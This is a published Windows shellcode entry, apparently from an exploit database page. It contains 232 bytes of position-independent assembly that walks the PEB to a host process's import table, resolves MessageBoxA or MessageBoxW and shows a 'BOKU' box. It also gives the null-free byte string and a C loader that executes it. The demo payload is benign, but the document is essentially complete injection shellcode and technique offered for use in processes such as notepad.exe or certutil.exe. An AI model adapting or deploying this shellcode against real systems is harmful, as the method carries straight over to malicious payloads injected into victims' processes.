# Shellcode Title: Windows\x64 Dynamic MessageBoxA or MessageBoxW PEB & Import Table Method Shellcode (232 bytes)
# Shellcode Author: Bobby Cooke
# Date: March 2020-03-17
# Tested On:
# Windows 10 Pro 1909 (x86): HelpPane.exe, notepad.exe, certutil.exe
# Windows 10 Pro 1909 (x86_64): mmc.exe, xwizard.exe
# [!] Will only work if MessageBoxA or MessageBoxW exist in the Import Table of the Host PE
; Create new StackFrame
push ebp
mov ebp, esp
sub esp, 0x10
; Dynamically find the base address of the executable image from the PEB
; FS_Register > TEB > PEB > &ImageBase
xor ecx, ecx
mul ecx ; Clears EAX, ECX, EDX Registers
mov ebx, eax ; clear EBX Register
mov ebx, [fs:ebx+0x30] ; get PEB address = TEB+0x30
mov ebx, [ebx+0x8] ; get Image Base Addr = PEB+0x8
push ebx ; save &ImageBase in EBX
pop eax ; copy &ImageBase to EAX
; Get the Address of the Import Table
; DOS_Header > PE_Signature > ImportTable
add eax, [ebx+0x3C] ; EAX = &PE_Signature
mov dl, 0x80 ; &PE_Signature+0x80 = &ImportTable_RVA
add ax, dx ; EAX = &ImportTable_RVA
mov edx, [eax] ; EDX = RVA ImportTable
add edx, ebx ; EDX = &ImportTable
add dl, 0xC ; EDX = &Name_RVA of first Imported DLL
; Create string 'USER32'
mov cx, 0x3233 ; 23 : 3233
push ecx ; push "23, 0x0000"
push 0x52455355 ; RESU : 52455355
mov [ebp-0x4], esp
; Find the Name RVA for user32.dll within the Import Table
; ImportTable > ImportDirectoryTable > LoopNameRVA's
xor ecx, ecx ; ECX = Counter
fUser32Name:
push edx ; EDX = &Name_RVA of first Imported DLL
xor eax, eax
mov al, 0x14 ; &Name_RVA's are every 20 bytes
mul cl ; Counter * 20 bytes
add [esp], eax
pop eax ; EAX = &Name_RVA of Nth DLL
push eax
mov esi, [ebp-0x4] ; ESI = &String
mov edi, [eax] ; EDI = RVA Name of Nth DLL
add edi, ebx ; EDI = &Name of Nth DLL
push ecx ; save counter to stack
xor ecx, ecx
cld ; clear direction flag = Process strings from left to right
mov cl, 0x6 ; ECX = String Length
repe cmpsb ; compare first 6 bytes of &
pop ecx ; ECX = Counter
jz foundUser32Name ; If string at &Name_RVA == "USER32", then end loop
pop eax ; Pickup String Addr to fix stack
inc ecx ; else Counter ++
jmp short fUser32Name ; restart the loop
foundUser32Name:
pop eax ; EAX = &Name_RVA of user32.dll
mov [ebp-0x8], eax ; [ESP-0x8] = &Name_RVA of user32.dll
sub al, 0xC ; EAX = &User32_ImportNameTable_RVA
mov eax, [eax] ; EAX = User32_ImportNameTable_RVA
add eax, ebx ; EAX = &User32_ImportNameTable
mov [ebp-0xC], eax ; [ESP-0xC] = &User32_ImportNameTable
; Create string 'MessageBoxA'
mov ecx, 0x41786f6f ; Axoo : 41786f6f
shr ecx, 8
push ecx ; "oxA,0x00"
push 0x42656761 ; Bega : 42656761
push 0x7373654d ; sseM : 7373654d
jmp Counter
MessageBoxW:
mov byte [esp+0xA], 0x57 ; Change A to W
mov eax, [ebp-0xC] ; EAX = &User32_ImportNameTable
; Find the Name RVA for MessageBoxA within the Import Table
; ImportTable > ImportDirectoryTable > LoopNameRVA's
Counter:
xor ecx, ecx
fNameLoop:
mov esi, esp ; ESI = "MessageBoxA,0x00"
xor edx, edx
mov edi, [eax] ; EDI = RVA NameString
cmp edi, edx ; See if we checked all imported function names
je MessageBoxW
add edi, ebx ; EDI = &NameString of Nth Function
inc edi ; skip the first 2 bytes - Ordinal Value
inc edi ; skip the first 2 bytes
push ecx ; push counter value
xor ecx, ecx
cld ; clear direction flag = Process strings from left to right
mov cl, 0xB ; ECX = String Length
repe cmpsb ; compare first 11 bytes
pop ecx ; ECX = Counter value
jz foundName ; If string at &NameString == "MessageBox-", then end loop
mov dl, 0x4
add eax, edx ; Next RVA NameString of Imported User32.dll function
inc ecx ; Counter ++
jmp short fNameLoop ; restart the loop
foundName:
mov eax, [ebp-0x8] ; EAX = &User32_Name_RVA
add al, 0x4 ; EAX = &User32_ImportAddressTable_RVA
mov edi, [eax] ; EDI = User32_ImportAddressTable_RVA
add edi, ebx ; EDI = &User32_ImportNameTable
xor eax, eax
mov al, 0x4
mul cx ; Counter * 4 = Offset MessageBoxA in Table
add eax, edi ;[EAX] = &MessageBoxA
mov eax, [eax] ; EAX = &MessageBoxA
mov byte bl, [esp+0xA] ; DL = 'A' or 'W'
;CALL to MessageBoxA
; hOwner = NULL
; Text = "BOKU"
; Title = "BOKU"
; Style = MB_OK|MB_APPLMODAL
xor ecx, ecx ; clear ecx register
push ecx ; string terminator 0x00 for string "BOKU"
; MessageBoxA or MessageBoxW?
cmp bl, 0x41 ; if BL = 'A', then
je MsgBoxA ; push ASCII string
; String = "B-O-K-U-"
push 0x2d552d4b ; -U-K : 2d552d4b
push 0x2d4f2d42 ; -O-B : 2d4f2d42
mov edx, esp ; EDX = &String
UnicodeStrLoop:
inc edx ; 1st Char +1
mov byte [edx], ch ; Null byte after ever char in Unicode String
inc edx ; Every Other Char +2
inc ecx ; LoopCounter ++
cmp cl, 0x4 ; If end of string, then
je pushArgs ; Push arguments to stack for MessageBox- Call
jmp short UnicodeStrLoop
MsgBoxA:
push 0x554b4f42 ; UKOB : 554b4f42
pushArgs:
xor ecx, ecx
mov ebx, esp ; EBX = &String
push ecx
push ebx
push ebx
push ecx
call eax ; Call MessageBox- Function
############################################################################################################################
#include <windows.h>
#include <stdio.h>
char code[] = \
"\x55\x89\xe5\x83\xec\x10\x31\xc9\xf7\xe1\x89\xc3\x64\x8b\x5b\x30\x8b\x5b"
"\x08\x53\x58\x03\x43\x3c\xb2\x80\x66\x01\xd0\x8b\x10\x01\xda\x80\xc2\x0c"
"\x66\xb9\x33\x32\x51\x68\x55\x53\x45\x52\x89\x65\xfc\x31\xc9\x52\x31\xc0"
"\xb0\x14\xf6\xe1\x01\x04\x24\x58\x50\x8b\x75\xfc\x8b\x38\x01\xdf\x51\x31"
"\xc9\xfc\xb1\x06\xf3\xa6\x59\x74\x04\x58\x41\xeb\xde\x58\x89\x45\xf8\x2c"
"\x0c\x8b\x00\x01\xd8\x89\x45\xf4\xb9\x6f\x6f\x78\x41\xc1\xe9\x08\x51\x68"
"\x61\x67\x65\x42\x68\x4d\x65\x73\x73\xeb\x08\xc6\x44\x24\x0a\x57\x8b\x45"
"\xf4\x31\xc9\x89\xe6\x31\xd2\x8b\x38\x39\xd7\x74\xec\x01\xdf\x47\x47\x51"
"\x31\xc9\xfc\xb1\x0b\xf3\xa6\x59\x74\x07\xb2\x04\x01\xd0\x41\xeb\xe0\x8b"
"\x45\xf8\x04\x04\x8b\x38\x01\xdf\x31\xc0\xb0\x04\x66\xf7\xe1\x01\xf8\x8b"
"\x00\x8a\x5c\x24\x0a\x31\xc9\x51\x80\xfb\x41\x74\x18\x68\x4b\x2d\x55\x2d"
"\x68\x42\x2d\x4f\x2d\x89\xe2\x42\x88\x2a\x42\x41\x80\xf9\x04\x74\x07\xeb"
"\xf4\x68\x42\x4f\x4b\x55\x31\xc9\x89\xe3\x51\x53\x53\x51\xff\xd0";
int main(int argc, char **argv)
{
int (*func)();
func = (int(*)()) code;
(int)(*func)();
}
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation